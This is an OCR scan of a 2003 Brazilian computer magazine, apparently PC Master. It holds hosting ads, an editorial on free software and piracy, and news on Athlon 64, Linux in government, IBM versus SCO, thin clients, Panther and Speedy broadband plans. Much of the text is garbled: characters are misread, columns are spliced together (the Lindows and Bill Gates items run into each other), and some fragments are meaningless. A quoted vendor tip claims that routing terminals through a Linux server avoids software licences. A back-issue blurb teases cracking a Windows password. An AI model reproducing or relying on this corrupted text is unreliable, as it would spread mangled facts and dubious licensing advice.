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Rede Elétrica

Testamos 0s acessorios que
permitem montar uma rede
usando as tomadas elétricas

Tutorial completo para
vocé gerenciar sua rede
com o Windows 2003

Passo-a-passo para criar
uma rede altamente
segura usando o Linux



Chega de passar o fim de semana resolvendo problemas de hosting. Venha para a LocaWeb: link de 1 Gpbs com a Embratel e a tranggiilidade do suporte via He\
Desk, chat, telefone ou pager — 24h por dia, 7 dias por semana. Com a LocaWeb seu site estd sempre disponivel, e vocé também.
leeranga e inovacdo: .NET EJBs (JBoss), Interbase, Linux, Windows, MySQL 4.0, MS SQL 2000 e ouros.

Reconhecimento

de Voz - atendimento
telefonico automatizado
a custo acessivel.

Produtividade,
seguranca e economia na
administracdo de e-mails.

BY LOCAWER

Sao Paulo (11) 3049 1166 - Outras localidades 0800 555932. Acesse www.locaweb.com.br/pcmaster

Servidores dedicados
gerenciados - robustez
e seguranga para a sua
aplicagdo Web.

Hospedagem compartithada e semidedicada para s:tes qu
precisam de seguranca e qualidade.
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SOLUGOES COMPLETAS EM HOSTING.




Sonopress full service.

Solucoes integradas que

~ a gente so divide com vocé.
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Atendimento pela metade ndo existe. Por isso, a Sonopress

adotou o conceito de full service, integrando desde a producdo

até a distribuicdo dos seus pedidos de CDs e DVDs. Sio varias

ferramentas para vocé ganhar em agilidade e diminuicdo de , ) _
custos, aproveitando por inteiro nosso compromisso de qualidade. _,,,f ( ! &
- Sonopress full service. Promessa feita, promessa cumprida. : /

o ‘Fon'e: (11) 3613-7300 - Fax: (11) 3611-3364 - www.sonopress.com.br
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Ao Leitor

== Ualguer especialista em informatica sabe q

software livre nada tem a ver com puatana. O

problema é que ha muita gente, e também muita

empresa, interessada em vincular esses dois
fenomenos de tecnologia. No entanto, & mais facil vincular
software proprietario com pirataria do gue software livre,
mesmo porgue so se pirateia o que nao é livre. O fato é
que o software livre ndo péra de crescer e como ainda ndo
encontraram algo realmente importante contra ele, ficam
inventando dezenas de teorias para justificar a ndo-adogéao
de solucoes Open Source. Assim que cair a ficha e
perceberem que software livre e proprietério podem viver
lado a lado, talvez a pirataria comece a diminuir,

O ciclo da pirataria comega assim: quem nao tem
recursos e precisa usar um programa proprietario caro,
sem alternativa livre, vai optar rapidamente pela copia
pirata. Mas a copia pirata também tem custo. Alguém (um
hacker talvez) precisa quebrar o sistema de seguranca do
software para permitir que ele seja copiado. Além disso, é
preciso gravar a cépia e entrega-la. Tudo isso custa, ja que
o hacker precisa de dinheiro para viver e comprar
computadores potentes e midias para gravar as cépias.
Essa primeira copia torna-se a semente para novas copias.
Com pirata pirateando pirata, cada vez fica pior, mais
barato e também mais arriscado

Com a alternativa do software livre, esse ciclo perde
muito de sua forga. Ainda mais se a alternativa for boa.
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Por que fazer pirataria se vocé tem uma alternativa
livie? Nessa 31tuagao se voceé tem recursos, pode
inclusive optar pela solugéo proprietaria, mas a pirataria
fica em segundo plano.

Sempre vejo dezenas de campanhas dizendo que
milhares de empregos s&o perdidos por causa da
pirataria. Que o governo perde em arrecadacao. E que a
pirataria ainda incentiva outros crimes. Concordo com
tudo isso. Mas sera que a melhor solugéao é assustar os
piratas ou incentivar o software livre? O software livre
gera muitos empregos também.

Uma empresa que adota sistemas livres precisa de
especialistas nele. Para adotar o sisterma, a empresa
precisa de consultores ou técnicos para instalar a
solugdo. Talvez o hacker da pirataria seja o especialista
do software livre. Tudo isso esta gerando negécios e,
consequentemente, mais arrecadagdo para o governo.

E, repito, mesmo neste caso, o software proprietario
continua sendo uma alternativa, as vezes mais cara, as
vezes mais barata. O fato € que Livre e Proprietario ainda
vao continuar brigando por muito tempo, e enguanto isso
a pirataria vai levando a melhor.

Nos, da PC Master, vamos manter vocé, prezado
leitor, sempre muito bem informado sobre esta guerra.
Como nao sabemos quem vai vencer, o importante é
estar sempre atualizado para saber como se virar em
qualguer lado da trincheira.

Luiz Siqueira

sigueira@europanet.com.br




Dé uma espiadinha...

iversos assuntos

Quer ver mais?

Procure nas hancas, pelo (11] 3038-5050
ou no site www.europanet.com.br
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Fique por dentro das Ultimas noticias de informatica no mundo. Aqui vocé
encontra todas as novidades da midia e se mantem sempre atualizado

Lancamento

Chegam neste meés ao
mercado brasileiro 0s
primeiros computadores
equipados com 0 novo
processador AMD 64 bits.
Uma maguina para poucos

lancamente mundial
aconteceu no final de
setemmbro, mas o novo

u processador AMD Athlon 64
bits comega a chegar deflinilivamente
a0s usuarios brasileiros somente a
partir de novembro. A comerciglizagac
de deskiops aquipados cam o novo
processador no Pais sera possivel
gracas a uma parcera firmada pela
AMD com a llaulec.

Fara a coletiva de imprensa de
langamento do produtc, a empresa
preparou um video corn
gepoimentos do nexacampedo

6 PG Master

E"ﬂl‘i dos

mundial de F-1 Michael Schumacher
e do pileto brasileiro Rubens
Barrichellc. A intengao ara clara:
associar a tecnologia do AMD
Athlon 64 com a velocidade dos
carros da Ferrari. & comparagaa &
justa. O novo pracessador da AMD
desponta com uma gualidads
surpreendente, apesar de anda ler
de esperar uma adaptagao e
desenvolvimento de softwares.

Mas outra comparagao enfre o
AMD Athlon 64 e os caros da Ferrarl &
ginda mais plausivel, Cobicado por
todos os fas do automabilismo, urm
carro esporlivo da fabricante italiana €

AMD Athlon 64
representa uma
nova revolugio

financeiramente invidvel para a maioria
das passoas. E 0 mesmo pods-se
dizer das méguinas equipadas com o
AMD Athlon 64, Além de nove
processador, 0s computadores ¢a
ltautec langados em navembro tém
uma configuragac de 512 MB de RAM
DDR 400 Mhz, HD de 80 GE e 7,200
HPM, placa de videc ATl Radeon 9700
da 128 MB de memaria DVD 18X,
CD-RW 52x%, monitor de 17 polegadas
e Windows XP A Ferrari dos PCs nao
sai por menos de R 11 mil. Como o
carmo, & para poucos.

A AMD sabe disso e, portanto,
pretende reforcar a estrategia de
vendas pos-lancamentc para
senvidores de rede. A empresa espera
consequir colocar seu novo produto na
casa dos usudrios comuns no futuro
direcionando seu foce, principalmente,
em diversdn, O desenvolvimento de
games cada vez mais préximos da
realidade e o cinema digital deverao
sar o carro-chefe para 1sso acontecer,
Um avanco gue ainda devera esperar
um iempo para se tornar realidade.




Livre e publico

Governo federal adere ao Lij D

Ministério da Ciéncia e Tecnologia
lanca edital para software livre

adocao do Linux nos sistemas

do poder publico parece

realmente ser irreversivel. O

Ministério da Ciéncia &
Tecnologia deu mais um passo na
consolidagao dessa nova politica de
saftware livie no governo federal. O
ministério langou dois editais que
samam RE 6,3 milhdes para o
desenvolvimento de programas abertos.
O governo também assinou uma carta
de inlencies com a IBM para incentivar
o software livre no Pals.

O objsetivo & apoiar projetos de
pesquisa aplicada cu de
desenvolvimento clentifico com inovagao
tecnologica com foco no mercado
global de tecnologia da informagao em
software livre, A mata & estimular o

Legislativo

desenvolvimento de aplicagtes em
Open Source, voltadas para governo
eletrénico, educagao, salide,
seguranga, comercio eletronico,
geoprocessamento e entretenimento.

Mo dia 29 de setembro foi langado
o primeiro edital, no valor de R$ 2,3
milhdes, que contara com recursos do
CNPq {Conselho Nacicnal de
Desenvohlvimento Cientlfico e
Tecnologico). No final de cutubro, um
outro edital fol lancado. Desta vez, o
contrato tera recursos da Finep
(Financiadora de Estudos e Projetos)
neo valor de R$ 4 milhoes.

Congresso dehate software livre

Deputados e senadores criam comissao mista para
discutir a disseminacao do sistema do pinguim

- exemple do govarna federal,

DS CONGIEssisias orasiieinos
" também estao mais

preocupados corm a
implementagao do software livre em
loco o Pafs, Para discutir o tema com
mais profundidade, o Congresso
Nacional criou uma comissag mista
formada por 128 deputadoes federais
e 22 senadores.

A Frente Parlamentar tem coma
proposito defender a utilizacao de
programas que tenham codigo-fonte
plblico. Urn dos objetivos e forgar 0s

governas municipais, estaduais e a
Unias a-utlizar cade vez mais os
softwares livres em seus sistemas,

A senacora Serys Slhassarenko
(F1-MT) ja apresentou no Senado um
projeto de lel determinando que so
serao utiizados programas de
informatica fechados se comprovada
a auséncia de programas livres
capazes de suprir a necessidade da
administragan publica. Sao noticias
importantes que prometem aumentar,
e muito, a utilizagao dos softwares
livres no Pais

PC Master 1
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Noticias

Contra-ataque

Agora, a IBM processa a SCO0

Empresa utiliza a mesma alegagao de infragao de copyright;
HP defendera seus clientes Linux que forem processados

m mais um capitulo da disputa
judicial entre a 2C0O € a IBM,
Lm novo precesso lol
aberio na corte de Salt
Lake City, nos Estados
Uridos. Dasta vez, a IBEM
acusa a SCO com as
mesmas alegagdes pela gual
foi processada.
Segundo um
comunicado da IBM
distribuido
internamente, a
emprasa afirma gue
a SCO viola seus
direitos autorais ao distribulr
as contriouigoas faitas ao sistema
nperacional Linux e que também
viola a licenga GPL sob a gual o
Linux e distribuldo. Com esse novo
processo, a IBM tenta virar o jogo na
guerra judicial iniciada pela SCO.
Quem tambem cormre por fora

. II[I!!IH espanhol
A axpar&ao do Lindows astd !ndr:. a
feide vapor. O erador do sistarna
operacional, Michael Robertson,

nessa briga € a HE A empresa ja
anunciou gue val defender 1odos os
saus clientes Linux gue forem
pracessados por infracao dos
direitos autorais. A medida. no
entantc, & valida para o3
clientes que compraram
servidores ou PCs com
Linux a parlir de 17 de
outubro ceste ano. A HF
espera gus a medida evite
um temor de novos
USUSros e que o
processo da SCO
possa redusn as
vendas da empresa,
Em resposta a deciséo da HP a
S00 disse, em comunicado oficial
gue a arttude "reforca a ideia de que
0g usudrios corporativos do Linux
estao expostas a riscos legais”. Sem
davida, essa & uma briga que ainda
promate muitos capitulos.

I MMI
Bill Gatas. dane da Microsait,
anund:au e ird aurnﬂrrtar as
q:m;és-s fetas pela Fundacio

mesmo fundader ¢a MP3.com, que leva o seu nome & desua
AnuRcial sm meados Ga-outubro mulher, Melinda Gatas para
que o grogfama ja pode ser gombater 4 AIDS na india. An

baikado err sspanhol Esse &0
{erceito [dioina sm due o slztema &

dasenvohido. Algm o gepanhol o

Lindows tarmbém esta disponivel

ain Inglés e japongés. A nova versao.

- do sstema inclu o Lindows0S54.0,
E‘Jrum e esparml prograrrm
de correio ale{rﬁwm & mersageio
insldntanao uriversal, aém de
aplicativos de escritério e jogos: Na
viarsao parer download, o Lindows
erm esparhcl custa USE 49,85

todo, serdo US$ 200 mihoes pam

prevanir a doanca faguels pals, O

~walora ndma ‘do rue havia sido
| anunciads 8m NoVembIn to &ho

passado, Namero | da Microsoft,
Bill Gales @ o harmerm mais rico

“do mmdn De fevereiro ats agnm.,
el & lalurou USS 6 gilhoes. Cam
- 47 anos, Bill Gatss rmantgm seu

:.puslu no lope da lista dos mais

hicos do murtda com urra forluns 1

2 da mais n*e USS&- 46 bilhoes,




Terminal burro

FIC do Brasil langa Thin Client com tecnologia 100%
nacional. Uma boa alternativa para redes de baixo custo

FIC do Brasil comegou a
praduzir na pequena cidade
de Santa Rita do Sapucal,
interior de Minas Gerais, um
novo eguipamento que pode ser
mais um aliado dos
softwarasg livras,
Trala-se dos novos
Thin Clients.
terrminais burras
de rade. O novo
produte da
emprasa, gue leve
um investimento
de USE 1,5 milao,
& uma boa npgao
para gquem quer
criar uma rede na
gual os usuarios
nao necessitam

Modelo Génisis 2:
economia am rede

de uma maquina com todos os
recursos de PC. Os novos Thin
Clients séo compostos apenas de
uma placa-mags e um processador,
Com isso, 08 novos equipamentos
saem por US$ 220, sem monitor,

O diretor comercial da FIC, Claudio
Ribeiro, ainda da uma dica para quem
quiser economizar com os softwares
proprietérios. Segundo ele, & possivel
nue todos 08 USUANoS acessem esse
lipo de programa, mas com apenas
uma licenga para a rede. Para isso,
basta que todos as tarminais estejam
ligados a um servidor Linux, que estara
ligado a um servidor-proprielaro.
Assim, os tarminais néo precisam de
licenca, pois, na pratica, estao ligados
a um senidor Linux.

Os Thin Clients da FIC foram
adotados pelo governo mineiro para
colocar em pratica o programa de
inclusao digital no Estado,

o mmuhm %
um (henot, SLspsito de ter. mmzw
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: '~'t§p¢:rh.1mdade pefﬂdahala e
avangos tﬁhﬁeﬁcﬁiﬂs do GFFEIH

Os adaplos do software lve ﬁo o

- novembro, amntéca ra Eaama
Poltéonica da LISP [Unmﬂw_ndade-_ :

; ,'p_qhhcaﬁm.smﬂ %

O seu Provedor
de Hospedagem

definitivo.
Exclusivo
Plano
conjugado

Linux

Microsoft
Windows 2000

Servidores Instalados
dentro do
Data Center
da

Embratel

Enbratel

Link de
100 MB

Anti-Spam
E-commerce

Painel de
Controle

Ilimitados
E muito mais ...

www.locasite.com.br

contato@locasite.com.br

R

F,




J L4 -
¢ 2 Noticias

Justica
Microsoft é processada por falhas de seguranca

Advogada norte-americana alega que a supremacia dos sistemas de Bill Gales coloca
em risco redes de computadores em todo o mundo, mas agao nao deve ter resultados

s recentes problemas de entendimento para um usudrio leigo,
seguranca apresentados em deixando, assim, sua maguina mais

softwares da Microsaofl vulneravel a ataques de hackers € a
poderan gerar transtornos proliferagio de virus
judiciais para a empresa, A Procurados pela impransa
advogada Dana Taschner, da narte-armericana, 0s advogades da
MNewporl Beach, nos Estados Microsoft nao quiseram se pronunciar
Unidos, entrou com uma agao a respeito do caso. No enlanlo, ha
coletiva alegando que a supremacia poucas chances de a empresa ter
dos sistemas operacionais de Bill uma decisao desfavoravel na Justica
Gates tem colocado em risco a No contrato de licenciamento dos
seguranga de redes de produtos, inclusive o do Windows, ha
computadores em todo o mundo. clausulas que livram de forma
A advogada alega ainda gue os antecipada a empresa de muitas das
bugs sao complexos e da diffcil acusagdes feitas contra ela.

s Recuperagio de Datos

Orcamento Gratuito

—_—

Nossos servigos carregam muito mais tecnologia!

> Midias: >Sistema Operacional:
HDs, CDs, DVDs, Disquetes, Zip, Raid Array, Dos, Windows, Win NT, Fat 16, Fat 32,
Jaz, D. FireWire, Fitas DAT, etc NTFS, Novell, Linux, Mac, etc

> Defeitos: > Laboratorio (sede propria):

Bad Block, Formatados, Ataque de Virus, Hackers, O mais equipado do pais, melhor corpo
Inacessiveis, Senhas Esquecidas, Clones Fisicos, etc técnico, Engenharia prépria

Credibilidade - Sigilo - Competéncia [l

®
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Macintosh

Versao 10.3 do Panther chega ac mercado com mais
de cem novos recursos e deve custar cerca de US$ 130

novo sisterna operacional
para Macintosh chegou ao
mercado no Ullime dia 24 de
outubro cheio de inovagoes
g avancos. Sao mais de cem novos
recursos. Entre as novidades,
estio o Expose, um recurso que
permite ao usudrio visualizar todas
as janelas ahertas simullaneamente,
a IChat AV, um sistema de
mengagens instantineas cam
suporte para videoconfergncia, e a
farramenta de navegagao Finder
totalmenle redesenhada.
O novo Finder ainda ira parmifir o
uso de dilerentes cores para

arganizar os documentos e
navegacao dinmicad para servidores
de arguivos Magc, Windows & Unix,

O sisterna baseado no Unix serd o
ullimo desta versao a ser langado pela
ampresa, Segundo a Apple, ele vira
com mais de 150 novos recursos,
incluindo ferramentas de administragao
de redes aprimoradas. Além disso, a
empresa lambém inclui suporte para o
Samba 3 neste sistema,

A Apple também atualizou o
programa de calencario iCal e o
ISync, usado para compartinamento
de dados entre o Mac e dispositivos
mdveis, como celular e palmiop,

Screenshot do més

Mostre vocé também a cara do seu PC.
Envia a captura do seu Deskiop para
pemaster@europanet.com.br 8 apareca
aqui na proxima edigéo da PC Master,

Sulamita Garcia:
toskinha@noisemakers.org
Sistema Operacional:

Slackware 9.1 com Windowmaker

(s sistemas operacionais da
Apple serdo vendidos pelas lojas da
emprasa na Intemet e em suas
revandas. A empresa cemegou a
aceitar pedidos em sua loja virtual
desde o inicio do més de outubro. ©
prego medio 6o novo sistema
operacional da Apple devera ficar em
torno de USE 130,

| Agora é a hora
2 de encher o carrinho!

# Linus Mall # estd no clima, sho muitas novidades
@ promogies esperando por vocs

e Gabineta Simpla 101
Pingiiim da Pelicia

Outros destaques:

LIVRO Firewalls em Linux p' Pequenas Comparagfes
DVD Matrix Raloaded Fellscrasn
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Marcelo Tossati esta na Cyclades

Mantenedor do Kernel deixa a Conectiva, mas garante que
nao mudara seu trabalho no ‘desenvolvimento do Linux

Cyclades deu ma:s um passo
importante para se
consolidar definitivamente
como uma das principais
empresas de hardware que
estimuiam o desenvolvimento de
sistemas Linux ne Pais. Para isso,
anunciou recentemente a
contratacae de Marcelo Tossati, o
brasieiro que e mantenedor do
Kermel 2.4 desde 2001 e um dos
principais nomes da comunidade ds
saftware Ivre do mundo

A fungao ca Tossati na Cyclades
serd a de atuar na area de P&D como
desenvolvedor, colaborando para
emoarcar o Linux nas solugées da
empresa. Para assumir sau novo
posto, o mantenedor do Keme! 2.4
deixou suas allvidades na Conecliva,
umas das principals empresas de
desenvolvirmeanto de sislemas
operacicnas Open Source do Brasil e
da América Latinga.

Tossati garanta, no entanto, gue
sua muganga da Conectiva para a
Cyclades nao vai alterar em naca o
lrabalho que desenvolve como

mantenedor do Kerne! 2.4, 'E um
frabalho separado que nao esta
influgnciado por nenhuma empresa,”

C Kernel & o coragao do sistema &
cabe a lossall decidir o rumo da
versao, analisanda e selecionando
corregdes sugeridas por mais de 300
dasenvolvedores do mundo todo,

A noticia de sua contratagac pela
Cyclades chegou a assustar alguns
adeptos do software livre por se tratar
de uma empresa de hardware, mas
acs poucos o clima for se acalmango
e nao ha mas dividas de que o
desenvolvimento do Kermel continuara.,

para profissionais de Ti

10% de desconto

para leitores PCMaster! *




Projetos de sistemas web
orientados a interface
Roséngela Hickson — 182 paginas
R$ 49,00 — Editora Campus

Com o objetiva de lomecer ferramentas Dara que
deserivolvedares possam orojetar sites campedes de audignzia,
este livro apresenia os conceitos e caracteristicas de inlerfaces
corm o5 Usuarios em sisternas cormpulacianals para Web, com
os orincioais estilos de interface, t&cnicas de Interagac e
tecnologias de dasenvolvimento e implementacao

GUI
de Cabeamanto de

Guia completo de cabeamento de redes
José Mauricia S. Pinhelro - 264 paginas
R$ 53,00 — Editora Campus

Este livro aborda de forma simoles e objetiva as dversas
yuestdes relacionadas aos projetos ce cabeamento de redes O
autor apresenta virias Informagdes praticas sobre os sistemas
de cabeamento estruturada, incluindo caracteristicas basicas
dos cabos @ acessdrios mals utiizados, normas e lecnicas
empregadas na instalagao, além de orentacdes sobre os
cetalhes téenicos para elaboragao dos orojelos.

INTRODLCAD AD

Introducio ae C++
Peter Jand| Junior — 336 paginas
R$ 45,00 - Editora Futura

Este lvro fol desenvaolvido para ser um matarial introdutorio
sobre o O+ +, abordando os conceitos basicos de programagao
e orientacia a objetos O livio apresenta o C+— e sua srtaxe
de forma que o leltor possa aoroveitar os fundamentos tambem
para o C. Todos 0s exemplos sao trabalhados tanio em
ambiente Windows cormo Unix. No tolal, sao mas de 170
exernplos fornecidos integralmants, lestados urm a um,

CURSOS E EVENTOS

10/11 a 14/11 - 40 horas
Impacta - RS 600

Conceilos de administracéo do
sistema Linux e gerenciamento de
contas de usuarios e sistemas de
arquivos e automacio de tarefas.

Ay, Paulistz, 1.000 - 8 andar - SP

fal, (11) 3285- 5566
wiar Irmpacta.com.br

Arguitetura e Auministracao
30 e 31 /10 - 16 horas

~ Dextra - RS 880

Prover a0 aluno cs conhecimentos
g habHidadeg fundamentais pard a
ulilizagée e administracdo do

servidor de aplicagoes J2EE JBoss

R. Laura Wannuzel, 102, Campinas -SF
Tel. (19} 32568644 | 3256-6722
whav.dextra.combr

UML, Andlise de Renuisitos
Unilizando Cases de Uso
1e2/12 - 16 horas

ITCOM - R$1.180

Formagac de profissionais de
cesenvolvimento de sistemas de
software, em diversos niveis.

Rua Demadstenes. 748 - SP

Tel. (11) 5006-6682

ww itcom com b

-ntre em contato conosco:

3 Silva, 660

& - contatom4linux.com. b

CURSO DE LINUX
SEM SAIR DE CASA?

Aprenda com quem 4 treinou milhares de profissionais
e foi a pioneira em treinamento de Linux a distancia

que pode, inclusive, ser feito em maquinas Windows!

Conhega também o Curso de "Vulnerabilities Exploitation"”

a distancia e aprenda a se proteger de invasdes!

Paraiso - SP - Proax. Metrd Brigadeiro

www.dlinux.com.br

6" andan

YOUR INTELLIGENDE IN LINUX
4 LINUX.COM.

WoW W .

Inventive House

b
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~Y Banda larga

larga do Pais aumentam as criticas sobre a qualidade do

senvigo no Brasil, que conta com quase 1 mithao de clientes

s novos plancs de assinatura

do Speedy (acesso ADSL

vendido pela Telefdnica em

Sao Paulo) acirraram ainda
mais as criticas da Abusar
(Associagao Brasileira dos Usuarios
de Acesso Rapido) contra as

Vale a pena mudar?

cperadoras de banda larga
brasileiras, A entidade, Unica
representanta dos clientes da Internet
de alta velocidade no Pals, avalia que
as limitagdes ce download impostas
pelo Speedy irao prejudicar a maioria
dos usuarios do sistema.

A guerra continua

Mudangas no plano de acesso da maior operadora de banda

A parlir de agora, quem assinar o
Speedy tera de optar por um dos trés
planos de velocidade e limitacao de
download, Por enquanta, os usuarnos
antigos podem penmanacer com seus
planos cu migrar para um novo

O presidente da Abusar, Hordcio
Belfort, avalia que o teto de 3 GB do
plano 300 do Speedy, gue permite
uma velocidade de navegacao de, no
maximo, 300 Kbps, sera insuficiente
para boa parie dos usuarios que
fizeremm essa opgéo de servigo, "So
mudancas pessimas para o
consumidior e 1otaimente conlra os
Interesses dos usuariog”, diz Belfort
Para ele, ha ainda um outro
complicadar. O presidente da Abusar
avalia que com as novas condigoes,
ulilizar conexao rapida pode até
mesmo perder o sentido em alguns
casos. "As pessoas usam para fazer
download. Sa nao podem fazer
download, nao tém motivo para ler
banda larga’, declara.

O Speedy conta atualmente com
mais de 400 mil clientes (dados da
lelefdnica), @ a centroladora do
servigo alega que as mudangas nao
vao trazer prejuizos & maioria de seus
usuarios. Segundo dados divulgados
pela Telefonica, apsnas 5% delas
teriam problemas de adaptacao aos
novos contratos de prestagao de
servico. O Speedy alega que esses
5% consamem 60% da infra-estrulura

As mudangas nos planos do
Speady 530 validas autormaticaments
para o8 novos cllenles, Para os
usudrios antigos que ja possuemo
servigo, existe a opgao de migrar para
05 NOVOS pacoles oU permanacer com
o contralo atual. Para vocd saber s a
mudanga vale a pena, a Telelonica
promata colocar a disposicao de ssus
clientas uma lerramenta para macis
quanto de download o usuaria faz par
més (ate o lechamento da edigao esse
recurso nao eslava disponival para os
usudrios anligos).

A TelefGnica divulga @m sua pagina
umna estimativa ca quanidade de coisas
gue um usuarko do Speady 300 (3 GB
ce limite} pode coplar pela rede:

= gamegar {0 il p2ginas Web

* downlead de 300 midicas

» download de dez trailers de flilme
= recebar 3 mil e-mails

+ recebar 1.5 mil arguivos de Word
= jogar 24 horas de game onling,

+ tdownload de cen programas

lasn significa gue © Speedy 300
pemmite fazer os seguinies downloacs,

= {3 mil paginas Wab com 100 Kb (uma
paging de busca do Google) - 1 GB

* 300 musicas de 2,15 MB {um MP3
médio de 2 min) - 645 MB

= Dez trailers ce fims de 20 MB - 200 MB

= 3 mil.e-mals de 10.KH -~ 30 MB

« 1.5 il arquivos de Word de 50 KB -
75 MB (arguivo mindisculo ce Word)

= 24 horas de game online (por sxemplo,
Counter-Strika) - 520 MB

Com isso, restanam 730 MB para 08
cem programas, Assim, cada um dessas
programas tera apenes 7.9 ME.

J

M PC Masier



0 ao preco cobrado. Pelo
menos neste ponto o Brasil ndo esta
muito fora da regra do mercado
interacional. Os pregos praticados
no Pais sdo semelhantes aos da
Argentina, Estados Unidos, Espanha
e Inglaterra. 'O problema néo € o
valor, mas a qualidade do servigo",
avalia 0 presidente da Abusar,
Horacio Belfort. Ele afirma que as
limitagoes de download tambeém
acontecem em alguns paises, mas
volta a dizer que os limites impostos
pelo Speedy estao abaixo do que
seria o ideal. "Existe essa limitagao,
mas & muito maicr do que no Brasil',
afirma. Veja, a seguir, o exemplo dos
planos de alguns paises

e da banda do sistema, prejudicando
a qualidade do servigo prestado.
Apesar de nao ter dados, a Abusar
discorda dessa alegacao. "A verdade
é que 0 Speedy esta abarrotado.
Venderam muitas assinaturas e agora
nao querem investir para ampliar a
infra-estrutura e crescerem ainda
mais. Em vez disso, preferiram
otimizar o sistema que j& possuiam e
transferiram o problema para o
usuario, que terd menos servigo por
um preco maior", diz Belfort.

A Telefénica da a entender que
nao se incomoda em perder 0s
usuarios gue nao se adptarem as
novas condicoes de uso do Speedy.
"Para os 5% existem no mercado
produtos adequados ao tipo de uso e
ao volume demandado’, mensagem
extralda do material de divulgacao
oficial do novo Speedy.

Dados apresentados pelo
Speedy, no entanto, apontam que
podera haver, inclusive, uma
economia para alguns usuarios. No
caso dos clientes atuais de 256 Kbps
que migrarem para o plano 300, a
reducéo de gastos pode chegar a

BRASIL
Speedy

AR AoL
Instalagéo:

RS 149,00

Mensalidade:

R$ 71.90, mais provedor
Velocidade:

300 Kbps

Limitacao de download:
até 3 GB

Instalacao:
gratis
Mensalidade:

Velocidade:
512 Kbps

nao tem
Velox

Instalacao:
gratis

Mensalidade: ' sos (R$ 125,00%)

R$ 83,45 mais provedor Mensalidade:
Velocidade:

256 Kbps

Limitacao de download:

nao tem nao tem

19%, de R$ 117 para R$ 95. Porém,
guem liver o mesmo servigo e quiser
mudar para o plano 450 tera um
acréscimo de 4%, passando de

R$ 117 para R$ 122. Esses nlmeros
nao consideram possiveis excessos
de downloads efetuados pelos
usuarios, Para cada MB excedente, €
cobrada a tarifa de R$ 0,10.

Qualidade e Provedores

Aliada a discussao sobre as
vantagens e desvantagens dos novos
planos de acesso do Speedy, a
Abusar aproveita para retomar a
discussao sobre a qualidade do
servigo prestado pelas diversas
operadoras de banda larga do Pals.
Para Horéacio Belfort, um dos
principais problemas é a garantia de
apenas 10% da velocidade
contratada. 'E como se comprasse
um carro que chega a 160 Kmy/h,
mas a montadora garantisse apenas
16 Km/h. Com a banda larga é a
mesma ideia’, compara.

Outro ponto polémico ¢ a
obrigatoriedade de contratagéo de
um provedor de acesso, alem da

N EZ INGLATERRA

27,99 Libras (R$ 132,40%)
Limitacao de download:
& ARGENTINA

Speedy

79,90 Pesos (R$ 79,90%)
Velocidade: 256 kbps
Limitacdo de download:

= ESTADOS UNIDDS
AT&T

Instalacao:

gratis

Mensalidade:

US$ 39,95 (R$ 113,46%)
Velocidade:

768 Kbps

Limitacdo de download:
nao tem

& | ESPANHA

Telefonica

Instalaca

183,31 Euros (R$ 612,26)
Mensalidade:

39,06 Euros (R$ 130,46%)
Velocidade: 256 Kbps
Limitagao de download:
nao tem

acoes referentes ao dia 13/10/2003

operadora de banda larga. A Abusar
alega que essa exigéncia fere o
Codigo de Defesa do Consumidor e
entrou com diversas acgdes judiciais
ja tendo conquistado algumas
decisoes favoraveis.

Nos dois casos, porém, a critica
nao se destina a uma operadora
especifica, pois sdo procedimentos
adotados por todas as empresas.
No caso da necessidade de
contratagao de um provedor, isso
ocorre em fungado de uma
determinacéo da Anatel (Agencia
Nacional de Telecomunicagoes)

A briga entre Abusar e Speedy
pode ser vista por um lado positivo: a
popularizagao dos servicos de banda
larga no Pais. Esse crescimento ja
vem sendo registrado ha algum
tempo. Apenas nos Ultimos quatro
anas, a quantidade de usuarios teve
um aumento de 1.676,41%. Em 1899,
eram apenas 53 mil clientes e hoje
sdo 941,5 mil. A expectativa € que
esse numero aumente e, assim,
permita gue o preco cobrado
diminua. Seria, sem duvida, um bom
final para essa guerra. PCM

PC Master 19



Ed. 77 - R$ 15,®

=#CD 1, 2 e 3: Linux Conectiva 9
completo e em portugués,
com guia pratico de
instalagao na revista

#Windows nao documentado:
confira os trugues gue sé os
experts em Win 2003
conhecem. Tem até como
estourar “na unha” a senha do
sistema

|Ed. 73 - R$ 14, |
uCD8 1, 2 e 3: Linux
Red Hat 9 completo.
Uma das principais
distribuigdes Linux, com
instalacéo passo a passo

=Acabe com os fios — com
0 AcessPoint 2000 vocé
pode montar uma rede
sem fio conectando até
128 computadores

Ed. 76 - R$ 13,

PEMASTE P,

Ed. 72 - R$ 14,*

Ed. 75 - R$ 12,
&CD 1: Gentoo Linux, o
Linux que mais cresce no

mundo

=CD 1: FreeBSD 5, o
sisterna Unix livre mais
famoso do planeta

=CD 2: Peanut 9.5, o Linux
compacto mais versatil e
rapido de usar. Completo

8CD 2: Lycoris Linux, o
Linux mais parecido com o
Windows

®Aprenda a usar o RAS para
criar uma conex&o direta
entre dois computadores

=Samba: domine esta
ferramenta que faz Linux e
Windows conversarem

or

: —
oo i e sck WoanatD- farmlia or

ot

Ed. 71 - R$ 12>

=CD 1: Freedug, o Linux
completo que roda direto
do CD-ROM,
especialmente criado para
aplicagdes educacionais

=CDS 1,2 e 3: Linux
Mandrake 9.1 completo,
com todos 0s pacotes
originais. Facil de instalar
& com instrugoes em

portugués ;
uCD 2: Racer, o melhor jogo

3D ja feito para Linux. E
ainda pacote de softwares
completos: OpenOffice,
Webmin e VNC para Linux

uDicas e segredos de
configuragao para deixar
o Windows XP rodar em
velocidade maxima

Ed. 74 - R$ 12,*°

uCD 1: Kurumin 1.4, o
Linux brasileiro mais
desgjado da atualidade, e
também o pacote Kokar

=CD 2: Slackware 8, o
sistema mais usado por
administradores de rede

mComo fazer redes Linux e
Windows conversarem

e

Ed. 70 - R$ 12,%

=CD 1: Slackware 8.1 Install
Fest Brasil, completo

2CD 2: videoaulas que
ensinam a instalar e
configurar trés dlistribuicoes
do Linux: Slackware 8.1,
Red Hat 8.0 e Debian 3.0.
Videoaula especial: como
particionar o disco rigido
de forma eficiente




Entre na onda da Internet de banda larga |

leti r:]
ggg%

-

Ed. 4 - R$ 7,%

uWebcams ao vivo: guia
completo com 35
webcamas gratuitas,
sobre diversos assuntos

mBancos online: saiba
usar com toda a
seguranga os servidores
online do seu banco

Ed.3-R$ 7,%

u15 opcdes de jogos
online para voceé se
divertir usando sua
Internet de banda larga

uDicionarios online: de
linguas e termos
técnicos, com consulta
instantanea e gratis

m

Ed.1-R$ 7,%

sFilmes pela Internet: =Use todo o poder da
veja como séo feitos 0s banda larga para
downloads de filmes i conseguir antivirus,
inteiros, até com as i livros, fotos, musicas,
legendas jogos e muito mais
wAprenda inglés sem sair mGula completo para
de casa: dez opgbes de saber como ter a Internet

cursos online banda larga em casa

